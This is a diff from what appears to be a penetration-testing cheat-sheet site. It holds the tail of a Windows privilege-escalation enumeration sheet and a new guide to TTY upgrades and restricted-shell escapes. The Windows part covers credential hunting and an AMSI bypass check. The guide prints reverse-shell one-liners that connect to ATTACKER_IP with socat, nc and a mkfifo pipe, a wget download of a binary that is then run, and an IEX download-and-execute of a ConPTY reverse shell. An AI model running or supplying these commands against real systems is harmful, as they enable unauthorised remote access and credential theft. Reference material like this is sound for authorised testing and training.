HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul +``` + +### Token Privileges + +```powershell +# Check for dangerous privileges +whoami /priv | findstr /i "SeImpersonate SeAssignPrimaryToken SeBackup SeRestore SeDebug SeTakeOwnership SeLoadDriver" + +# Commonly exploitable privileges: +# - SeImpersonatePrivilege -> Potato attacks +# - SeAssignPrimaryTokenPrivilege -> Token manipulation +# - SeBackupPrivilege -> Read any file +# - SeRestorePrivilege -> Write any file +# - SeDebugPrivilege -> Debug any process +# - SeTakeOwnershipPrivilege -> Take ownership of objects +# - SeLoadDriverPrivilege -> Load kernel drivers +``` + +### Modifiable Services + +```powershell +# Find services with weak permissions (requires accesschk from Sysinternals) +accesschk.exe /accepteula -uwcqv "Authenticated Users" * 2>nul +accesschk.exe /accepteula -uwcqv "Everyone" * 2>nul +accesschk.exe /accepteula -uwcqv "Users" * 2>nul + +# Check specific service +accesschk.exe /accepteula -ucqv <servicename> +``` + +### PATH Hijacking + +```cmd +:: Check PATH for writable directories +echo %PATH% +$env:PATH -split ';' | ForEach-Object { if (Test-Path $_) { Get-Acl $_ | Select-Object Path,AccessToString } } +``` + +### Startup Programs + +```cmd +:: Current user startup +dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" +reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" +reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" + +:: All users startup +dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" +reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" +reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" +``` + +--- + +## Antivirus and Security + +```cmd +:: Windows Defender status +sc query WinDefend +Get-MpComputerStatus + +:: Check for running AV processes +tasklist | findstr /i "avast avg avira bitdefender eset kaspersky malware mcafee norton sophos symantec trend" + +:: AMSI bypass check +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null) + +:: AppLocker policy +Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections + +:: Check for Constrained Language Mode +$ExecutionContext.SessionState.LanguageMode +``` + +--- + +## Files and Directories of Interest + +```cmd +:: User directories +dir C:\Users /b +Get-ChildItem C:\Users -Directory + +:: Desktop files (all users) +dir C:\Users\*\Desktop\*.* /s 2>nul + +:: Documents (all users) +dir C:\Users\*\Documents\*.* /s 2>nul + +:: Downloads (all users) +dir C:\Users\*\Downloads\*.* /s 2>nul + +:: Recently accessed files +dir C:\Users\*\AppData\Roaming\Microsoft\Windows\Recent\*.lnk 2>nul + +:: Find interesting file extensions +dir /s /b C:\*.kdbx 2>nul +dir /s /b C:\*.pfx 2>nul +dir /s /b C:\*.ppk 2>nul +dir /s /b C:\*.pem 2>nul +dir /s /b C:\*.key 2>nul +dir /s /b C:\*password*.txt 2>nul +dir /s /b C:\*cred*.txt 2>nul + +# PowerShell find interesting files +Get-ChildItem -Path C:\ -Include *.kdbx,*.pfx,*.ppk,*.pem,*.key -Recurse -ErrorAction SilentlyContinue +``` + +--- + +## Quick Wins - Combined Commands + +```powershell +# Dump everything to a file +systeminfo > enum.txt & whoami /all >> enum.txt & ipconfig /all >> enum.txt & netstat -ano >> enum.txt & net user >> enum.txt & net localgroup Administrators >> enum.txt + +# Quick credential hunt +findstr /si "password=" *.xml *.ini *.txt *.config 2>nul + +# Check for low-hanging fruit +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 2>nul | findstr /i "DefaultUserName DefaultPassword" +type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul +cmdkey /list +``` + +--- + +## Useful One-Liner Collection + +```powershell +# Find all writable directories in PATH +$env:PATH -split ';' | Where-Object { $_ } | ForEach-Object { try { if ((Get-Acl $_).Access | Where-Object { $_.FileSystemRights -match 'Write|FullControl' -and $_.IdentityReference -match 'Users|Everyone|Authenticated' }) { $_ } } catch {} } + +# Find all files modified in last 7 days +Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) -and !$_.PSIsContainer } | Select-Object FullName,LastWriteTime + +# Extract all IPs from files +Select-String -Path C:\*.txt,C:\*.log -Pattern '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b' -ErrorAction SilentlyContinue | Select-Object -Unique Matches + +# Find files containing specific strings +Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.config,*.xml,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern "password|credential|secret" -ErrorAction SilentlyContinue | Select-Object Path,LineNumber,Line + +# Enum all services with binary paths outside System32 +Get-WmiObject win32_service | Where-Object {$_.PathName -notmatch 'system32'} | Select-Object Name,PathName,State,StartMode +``` + +--- + +_For automated enumeration, consider using tools like WinPEAS, PowerUp, Seatbelt, or SharpUp._ diff --git a/src/content/sheets/exploitation/jailbreak-tty-upgrade.md b/src/content/sheets/exploitation/jailbreak-tty-upgrade.md @@ -0,0 +1,2221 @@ +--- +title: "Jailbreak - TTY Upgrade" +description: "If you skip this step, long commands will wrap incorrectly, tab completion will break visually, and tools like vim, top, and htop will render garbage…" +category: exploitation +tags: ["exploitation", "adcs"] +tools: ["Nmap", "Metasploit", "Meterpreter", "socat", "PowerShell"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Exploitation/Jailbreak - TTY Upgrade.md" +--- +# TTY Upgrades, Shell Stabilisation & Restricted Shell Escapes + +> Comprehensive field guide for interactive shell spawning, stabilisation workflows, and restricted shell breakouts during authorised penetration tests. + +--- + +## Table of Contents + +- [Terminal Geometry (Rows & Columns)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#terminal-geometry-rows--columns) +- [TTY Upgrade Workflows](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade-workflows) +- [TTY Upgrade - Python (pty module)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---python-pty-module) +- [TTY Upgrade - script utility](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---script-utility) +- [TTY Upgrade - socat](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---socat) +- [TTY Upgrade - expect](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---expect) +- [TTY Upgrade - mkfifo (named pipes)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---mkfifo-named-pipes) +- [TTY Upgrade - Ruby (PTY module)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---ruby-pty-module) +- [TTY Upgrade - Perl (IO::Pty)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---perl-iopty) +- [TTY Upgrade - rlwrap](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---rlwrap) +- [TTY Stabilisation (stty method)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-stabilisation-stty-method) +- [TTY Upgrade - SSH escape sequences](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---ssh-escape-sequences) +- [TTY Upgrade - Meterpreter to shell](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---meterpreter-to-shell) +- [TTY Upgrade - PowerShell (ConPTY)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#tty-upgrade---powershell-conpty) +- [Troubleshooting TTY Upgrades](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#troubleshooting-tty-upgrades) +- [Restricted Shell Escape Workflows](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape-workflows) +- [Restricted Shell Escape - SSH pre-login](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---ssh-pre-login) +- [Restricted Shell Escape - SSH configuration](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---ssh-configuration) +- [Restricted Shell Escape - vi/vim editors](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---vivim-editors) +- [Restricted Shell Escape - ed/emacs/nano editors](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---edemacsnano-editors) +- [Restricted Shell Escape - pagers (less/more/man)](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---pagers-lessmoreman) +- [Restricted Shell Escape - Python](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---python) +- [Restricted Shell Escape - Ruby/Perl/Lua/AWK](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---rubyperlluaawk) +- [Restricted Shell Escape - find](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---find) +- [Restricted Shell Escape - tar](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---tar) +- [Restricted Shell Escape - zip/unzip](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---zipunzip) +- [Restricted Shell Escape - gcc/compilers](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---gcccompilers) +- [Restricted Shell Escape - scp](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---scp) +- [Restricted Shell Escape - ftp/gdb/rpm](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---ftpgdbrpm) +- [Restricted Shell Escape - nmap](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---nmap) +- [Restricted Shell Escape - rsync](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---rsync) +- [Restricted Shell Escape - tcpdump](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---tcpdump) +- [Restricted Shell Escape - package managers](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---package-managers) +- [Restricted Shell Escape - database clients](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---database-clients) +- [Restricted Shell Escape - systemd tools](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---systemd-tools) +- [Restricted Shell Escape - container tools](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---container-tools) +- [Restricted Shell Escape - scheduling tools](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---scheduling-tools) +- [Restricted Shell Escape - debugging tools](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---debugging-tools) +- [Restricted Shell Escape - git-shell](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---git-shell) +- [Restricted Shell Escape - browser-based](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---browser-based) +- [Restricted Shell Escape - telnet](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---telnet) +- [Restricted Shell Escape - top](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---top) +- [Restricted Shell Escape - ncat](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---ncat) +- [Restricted Shell Escape - ld.so](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---ldso) +- [Restricted Shell Escape - busybox](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---busybox) +- [Restricted Shell Escape - screen/tmux](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---screentmux) +- [Restricted Shell Escape - environment variables](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---environment-variables) +- [Restricted Shell Escape - chroot/mount](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---chrootmount) +- [Restricted Shell Escape - rbash-specific](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---rbash-specific) +- [Restricted Shell Escape - lshell-specific](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---lshell-specific) +- [Restricted Shell Escape - kshell/rksh-specific](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---kshellrksh-specific) +- [Restricted Shell Escape - command enumeration](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---command-enumeration) +- [Restricted Shell Escape - redirect workarounds](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---redirect-workarounds) +- [Restricted Shell Escape - cron/systemd timers](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---cronsystemd-timers) +- [Restricted Shell Escape - setuid/capabilities abuse](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#restricted-shell-escape---setuidcapabilities-abuse) +- [OPSEC Considerations](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#opsec-considerations) +- [Quick Decision Matrix](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#quick-decision-matrix) +- [References](https://claude.ai/chat/b188c64f-54af-4f7c-8f63-8c406ff2276b#references) + +--- + +## Terminal Geometry (Rows & Columns) + +If you skip this step, long commands will wrap incorrectly, tab completion will break visually, and tools like `vim`, `top`, and `htop` will render garbage. Every TTY upgrade workflow below ends with setting rows and columns for exactly this reason. + +### Why it matters + +Your local terminal has a geometry (e.g. 50 rows by 200 columns). The remote shell has no idea what those values are, so it falls back to a default (usually 24x80). This mismatch causes text wrapping issues, broken ncurses applications, and garbled output from anything that tries to draw a full-screen interface. + +### Step-by-step: getting and setting geometry + +**Step 1 - Get your local terminal size (on your attacker machine, BEFORE you background the shell):** + +```bash +# Method 1: stty (preferred - gives exact values) +stty size +# Output example: 50 200 +# Format is: ROWS COLS + +# Method 2: tput (alternative) +echo "Rows: $(tput lines) Cols: $(tput cols)" + +# Method 3: environment variables (may not always be set) +echo "$LINES $COLUMNS" + +# Method 4: resize command (if available) +resize +``` + +Write these numbers down or remember them. You need them after you stabilise. + +**Step 2 - Set geometry on the remote shell (AFTER stabilisation):** + +```bash +# Using the values from Step 1 +stty rows 50 cols 200 + +# Alternatively, set them individually +stty rows 50 +stty cols 200 +``` + +**Step 3 - Verify it worked:** + +```bash +stty size +# Should output: 50 200 + +# Or check with tput +tput lines +tput cols +``` + +### Quick one-liner for the lazy + +Run this on your **local** machine first to get the values, then paste the output into the remote shell after stabilising: + +```bash +# Run locally - generates the command to paste remotely +echo "stty rows $(tput lines) cols $(tput cols)" +``` + +### What if you resize your local terminal mid-session? + +The remote shell will not automatically update. You have two options: + +```bash +# Option 1: Manually re-set (always works) +# Check local size again, then on remote: +stty rows NEW_ROWS cols NEW_COLS + +# Option 2: Use resize command (if installed on target) +resize + +# Option 3: SIGWINCH trap (if bash, and you have a proper PTY) +# Add to remote shell: +trap 'resize' WINCH +``` + +### Common geometry values for reference + +|Terminal setup|Typical rows|Typical cols| +|---|---|---| +|Default fallback|24|80| +|Standard fullscreen (1080p)|50-56|190-210| +|Standard fullscreen (1440p)|65-75|250-280| +|Tmux pane (half screen)|25-30|95-105| +|Small laptop (13")|35-40|150-170| +|macOS Terminal default|24|80| +|iTerm2 default|25|80| + +### Troubleshooting geometry issues + +|Symptom|Cause|Fix| +|---|---|---| +|Commands wrap mid-line|cols value too low|`stty cols <correct_value>`| +|Arrow keys produce `^[[A` etc.|No PTY / not stabilised|Complete the full stty stabilisation workflow| +|vim/nano display is garbled|rows and/or cols wrong|Set both correctly with `stty rows X cols Y`| +|Tab completion wraps oddly|cols mismatch|Re-check and re-set cols| +|Prompt overwrites itself|cols value too high|Lower cols to match actual terminal width| + +--- + +## TTY Upgrade Workflows + +These are end-to-end workflows. Each one goes from "I have a dumb reverse shell" to "I have a fully interactive stabilised terminal". Pick the one that matches what's available on the target. + +### Workflow 1: Python + stty (most common) + +This is your bread-and-butter. Works on the vast majority of Linux targets. + +``` +┌─────────────────────────────────────────────────────────┐ +│ 1. SPAWN PTY │ +│ python3 -c 'import pty; pty.spawn("/bin/bash")' │ +│ │ +│ 2. BACKGROUND THE SHELL │ +│ Ctrl+Z │ +│ │ +│ 3. CONFIGURE LOCAL TERMINAL (on attacker machine) │ +│ stty raw -echo; fg │ +│ │ +│ 4. FIX TERMINAL (back on remote shell) │ +│ reset │ +│ export SHELL=bash │ +│ export TERM=xterm-256color │ +│ stty rows <ROWS> cols <COLS> │ +└─────────────────────────────────────────────────────────┘ +``` + +Full command sequence: + +```bash +# [ON TARGET] Step 1: Spawn PTY +python3 -c 'import pty; pty.spawn("/bin/bash")' + +# [ON TARGET] Step 2: Background +# Press Ctrl+Z + +# [ON ATTACKER] Step 3: Raw mode + foreground +stty raw -echo; fg +# (you may need to press Enter twice after fg) + +# [ON TARGET] Step 4: Terminal setup +reset +export SHELL=bash +export TERM=xterm-256color +stty rows 50 cols 200 +``` + +### Workflow 2: script + stty (when Python is missing) + +For minimal systems without Python. The `script` command is part of util-linux and is almost always present. + +``` +┌─────────────────────────────────────────────────────────┐ +│ 1. SPAWN PTY │ +│ script -qc /bin/bash /dev/null │ +│ │ +│ 2. BACKGROUND THE SHELL │ +│ Ctrl+Z │ +│ │ +│ 3. CONFIGURE LOCAL TERMINAL │ +│ stty raw -echo; fg │ +│ │ +│ 4. FIX TERMINAL │ +│ reset │ +│ export SHELL=bash │ +│ export TERM=xterm-256color │ +│ stty rows <ROWS> cols <COLS> │ +└─────────────────────────────────────────────────────────┘ +``` + +```bash +# [ON TARGET] +script -qc /bin/bash /dev/null +# Ctrl+Z + +# [ON ATTACKER] +stty raw -echo; fg + +# [ON TARGET] +reset +export SHELL=bash +export TERM=xterm-256color +stty rows 50 cols 200 +``` + +### Workflow 3: socat (best quality, needs binary on target) + +Produces the cleanest shell with proper signal handling and window resizing. Requires socat on both ends. + +``` +┌─────────────────────────────────────────────────────────┐ +│ ATTACKER SIDE: │ +│ socat file:`tty`,raw,echo=0 TCP-L:4444 │ +│ │ +│ TARGET SIDE: │ +│ socat exec:'bash -li',pty,stderr,setsid,sigint,sane │ +│ tcp:ATTACKER_IP:4444 │ +│ │ +│ POST-CONNECT: │ +│ export TERM=xterm-256color │ +│ stty rows <ROWS> cols <COLS> │ +└─────────────────────────────────────────────────────────┘ +``` + +If socat isn't on the target, transfer a static binary: + +```bash +# [ON ATTACKER] Serve static socat +python3 -m http.server 8080 +# or +php -S 0.0.0.0:8080 + +# [ON TARGET] Download and run +wget http://ATTACKER_IP:8080/socat -O /tmp/socat +chmod +x /tmp/socat +/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444 +``` + +### Workflow 4: rlwrap (attacker-side only, no target dependency) + +When you can't modify the target at all but want command history and arrow key support. This doesn't give you a full PTY but it's a significant quality of life improvement. + +``` +┌─────────────────────────────────────────────────────────┐ +│ ATTACKER SIDE: │ +│ rlwrap nc -lvnp 4444 │ +│ │ +│ TARGET SIDE: │ +│ (normal reverse shell connects) │ +│ │ +│ RESULT: │ +│ Arrow keys work for history │ +│ No Ctrl+C / job control / tab complete │ +│ Combine with stty method for full upgrade │ +└─────────────────────────────────────────────────────────┘ +``` + +```bash +# [ON ATTACKER] Start wrapped listener +rlwrap nc -lvnp 4444 + +# Then optionally still do the full stty upgrade on top: +# [ON TARGET] python3 -c 'import pty; pty.spawn("/bin/bash")' +# Ctrl+Z +# [ON ATTACKER] stty raw -echo; fg +# [ON TARGET] reset && export TERM=xterm-256color && stty rows 50 cols 200 +``` + +### Workflow 5: expect (rare, but useful on embedded/IoT) + +``` +┌─────────────────────────────────────────────────────────┐ +│ 1. SPAWN PTY │ +│ expect -c 'spawn bash; interact' │ +│ │ +│ 2. BACKGROUND + STABILISE (same as Workflow 1) │ +│ Ctrl+Z │ +│ stty raw -echo; fg │ +│ reset && export TERM=xterm-256color │ +│ stty rows <ROWS> cols <COLS> │ +└─────────────────────────────────────────────────────────┘ +``` + +### Workflow 6: Perl one-liner (when Python and script are both missing) + +``` +┌─────────────────────────────────────────────────────────┐ +│ 1. SPAWN PTY │ +│ perl -e 'use POSIX; setsid(); exec("/bin/bash")' │ +│ OR │ +│ perl -e 'exec "/bin/bash";' │ +│ │ +│ 2. BACKGROUND + STABILISE (same as Workflow 1) │ +│ Ctrl+Z │ +│ stty raw -echo; fg │ +│ reset && export TERM=xterm-256color │ +│ stty rows <ROWS> cols <COLS> │ +└─────────────────────────────────────────────────────────┘ +``` + +--- + +## TTY Upgrade - Python (pty module) + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +Spawns interactive pseudo-terminal using Python's pty module for job control and interactive features. + +```bash +python -c 'import pty; pty.spawn("/bin/bash")' +``` + +Python 2 version of pty.spawn for older systems. + +```bash +python3 -c 'import pty; pty.spawn("/bin/sh")' +``` + +Spawns sh shell instead of bash for compatibility with minimal systems. + +```bash +python3 -c '__import__("pty").spawn("/bin/bash")' +``` + +Single-expression variant that avoids semicolons (useful when semicolons are filtered). + +```bash +python3 -c 'import os; os.execvp("/bin/bash", ["-bash"])' +``` + +Uses execvp to replace the Python process entirely with bash. The `-bash` arg makes it a login shell. + +--- + +## TTY Upgrade - script utility + +```bash +script -qc /bin/bash /dev/null +``` + +Forces PTY allocation using script command in quiet mode, discarding output to /dev/null. + +```bash +script /dev/null +``` + +Minimal version that forces PTY allocation without specifying command. + +```bash +script -q /dev/null -c /bin/bash +``` + +Alternative argument ordering (some distros are fussy about flag position). + +```bash +SHELL=/bin/bash script -q /dev/null +``` + +Sets SHELL variable before invoking script, ensuring bash is used. + +--- + +## TTY Upgrade - socat + +```bash +socat file:`tty`,raw,echo=0 TCP-L:4444 +``` + +Attacker-side listener that puts local terminal in raw mode and listens on port 4444. + +```bash +socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444 +``` + +Victim-side connection that spawns bash with full PTY support, signal handling, and window resizing. + +```bash +socat TCP:ATTACKER_IP:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane +``` + +Alternative victim-side syntax for establishing high-quality reverse shell. + +```bash +socat -d -d file:`tty`,raw,echo=0 TCP-L:4444 +``` + +Verbose listener with debug output for troubleshooting connection issues. + +--- + +## TTY Upgrade - expect + +```bash +expect -c 'spawn bash; interact' +``` + +Spawns bash in PTY using expect automation tool and gives control to user. + +```bash +expect -c 'spawn sh; interact' +``` + +Spawns sh shell with PTY support for minimal environments. + +--- + +## TTY Upgrade - mkfifo (named pipes) + +```bash +rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f +``` + +Creates bidirectional reverse shell using named pipe feedback loop with netcat. + +```bash +rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | ncat ATTACKER_IP PORT > /tmp/f +``` + +Same technique using ncat instead of nc. + +--- + +## TTY Upgrade - Ruby (PTY module) + +```bash +ruby -e 'require "pty"; PTY.spawn("/bin/bash") {|r,w,p| system("stty raw -echo"); r.each {|l| puts l}}' +``` + +Spawns bash in PTY using Ruby, sets terminal to raw mode, and iterates over output. + +```bash +ruby -e 'exec "/bin/bash"' +``` + +Simple exec replacement using Ruby for quick shell spawning. + +```bash +ruby -e 'require "pty"; PTY.spawn("/bin/bash", &:interact)' +``` + +Ruby PTY spawn using interact method for cleaner syntax. + +--- + +## TTY Upgrade - Perl (IO::Pty) + +```bash +perl -e 'use IO::Pty; my $pty=IO::Pty->new; exec("/bin/bash")' +``` + +Creates new PTY object using Perl's IO::Pty module and executes bash. + +```bash +perl -e 'exec "/bin/bash";' +``` + +Simple Perl exec replacement for spawning bash. + +```bash +perl -MIO::Pty -e '$pty=IO::Pty->new; exec("/bin/bash")' +``` + +Shorter module loading syntax using -M flag. + +--- + +## TTY Upgrade - rlwrap + +```bash +rlwrap nc -lvnp 4444 +``` + +Wraps netcat listener with readline support for command history and arrow keys. + +```bash +stty raw -echo; fg +``` + +After backgrounding with Ctrl+Z, puts terminal in raw mode and foregrounds shell. + +```bash +reset +``` + +Reinitializes terminal after foregrounding for proper display. + +```bash +export TERM=xterm-256color +``` + +Enables color support in stabilized shell. + +--- + +## TTY Stabilisation (stty method) + +This is the full end-to-end procedure. Every step matters. + +```bash +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +Step 1: Spawn PTY using any available method. + +```bash +# Ctrl+Z to background +``` + +Step 2: Background the remote shell. + +```bash +stty raw -echo; fg +``` + +Step 3: After Ctrl+Z, puts local terminal in raw mode (passes all keystrokes raw to the remote side, including Ctrl+C) and foregrounds remote shell. + +```bash +reset +``` + +Step 4: Reinitializes terminal for proper display and functionality. You may see `Terminal type?` prompt - just type `xterm-256color` and press Enter. + +```bash +export TERM=xterm-256color +``` + +Step 5: Enables 256-color support in the stabilized shell. + +```bash +export SHELL=bash +``` + +Step 6: Sets SHELL environment variable for proper shell behavior. + +```bash +stty rows <ROWS> cols <COLS> +``` + +Step 7: Fixes terminal geometry to prevent text wrapping issues (get values with `stty size` locally first). **See the Terminal Geometry section above for how to get the correct values.** + +--- + +## TTY Upgrade - SSH escape sequences + +If you have SSH access but land in a restricted shell, you can sometimes abuse the SSH escape character to get a local shell on the attacker side, then reconnect properly. + +```bash +# Press Enter, then: +~C +# Opens ssh command line +-L 4444:127.0.0.1:4444 +# Sets up local port forward +``` + +Creates a local port forward from within an existing SSH session using the escape sequence. + +```bash +# Press Enter, then: +~. +``` + +Terminates the current SSH session cleanly when the shell is hung or unresponsive. + +--- + +## TTY Upgrade - Meterpreter to shell + +If you have a Meterpreter session and need to drop to an interactive shell: + +```bash +# In msfconsole with active session +sessions -u <SESSION_ID> +``` + +Attempts to upgrade a basic shell session to Meterpreter. + +```bash +# In Meterpreter +shell +python3 -c 'import pty; pty.spawn("/bin/bash")' +``` + +Drops to system shell from Meterpreter, then upgrades with Python. + +```bash +# Or use the built-in module +use post/multi/manage/shell_to_meterpreter +set SESSION <SESSION_ID> +run +``` + +Metasploit module to upgrade shell to Meterpreter automatically. + +--- + +## TTY Upgrade - PowerShell (ConPTY) + +For Windows targets where you have PowerShell execution: + +```powershell +# Invoke-ConPtyShell (Antonioli's tool) +IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell ATTACKER_IP 4444 +``` + +Downloads and executes ConPTY-based reverse shell for a fully interactive Windows shell. + +```bash +# Attacker-side listener (must use stty raw) +stty raw -echo; (stty size; cat) | nc -lvnp 4444 +``` + +Special listener that sends terminal dimensions and then cats input, required for ConPtyShell. + +--- + +## Troubleshooting TTY Upgrades + +### "reset: unknown terminal type" + +```bash +# This happens when TERM isn't set +export TERM=xterm +reset +# Then set the proper value: +export TERM=xterm-256color +``` + +### Shell dies after `stty raw -echo; fg` + +```bash +# Your terminal is now in raw mode with no echo. +# Type 'reset' blindly and press Enter, even if you see nothing. +reset +# If that fails, open a new terminal and kill the old one. +``` + +### Arrow keys still produce escape codes after stabilisation + +```bash +# TERM might be wrong +export TERM=xterm-256color + +# Or the PTY spawn didn't work properly - try a different method: +script -qc /bin/bash /dev/null +# Then redo the full stty workflow +``` + +### Tab completion doesn't work + +```bash +# Make sure SHELL is set +export SHELL=/bin/bash + +# Source bashrc if it exists +source /etc/bash.bashrc 2>/dev/null +source ~/.bashrc 2>/dev/null +``` + +### Ctrl+C kills the remote shell instead of the remote process + +```bash +# You didn't do 'stty raw -echo' properly. +# The stty raw part is what makes Ctrl+C pass through to the remote side. +# Redo from the Ctrl+Z step. +``` + +### Everything is on one line / no newlines + +```bash +# Rows or cols are wrong +stty rows 50 cols 200 +# Or if that doesn't fix it: +stty sane +stty rows 50 cols 200 +``` + +--- + +## Restricted Shell Escape Workflows + +### Workflow A: Recon-first approach (recommended) + +Before trying any escape, enumerate what you have: + +``` +┌─────────────────────────────────────────────────────────┐ +│ 1. IDENTIFY THE SHELL │ +│ echo $SHELL │ +│ echo $0 │ +│ cat /etc/passwd | grep $(whoami) │ +│ │ +│ 2. ENUMERATE AVAILABLE COMMANDS │ +│ compgen -c (bash/rbash) │ +│ echo /usr/bin/* (wildcard listing) │ +│ which python3 perl ruby lua node php (interpreters) │ +│ type -a vim vi less more man git (builtins) │ +│ │ +│ 3. CHECK ENVIRONMENT │ +│ echo $PATH │ +│ env │ +│ set │ +│ alias │ +│ │ +│ 4. TEST RESTRICTIONS │ +│ cd /tmp (can you change directory?) │ +│ > /tmp/test (can you redirect output?) │ +│ /bin/bash (can you call binaries directly?) │ +│ export PATH=/bin (can you modify PATH?) │ +│ │ +│ 5. CHOOSE ESCAPE BASED ON FINDINGS 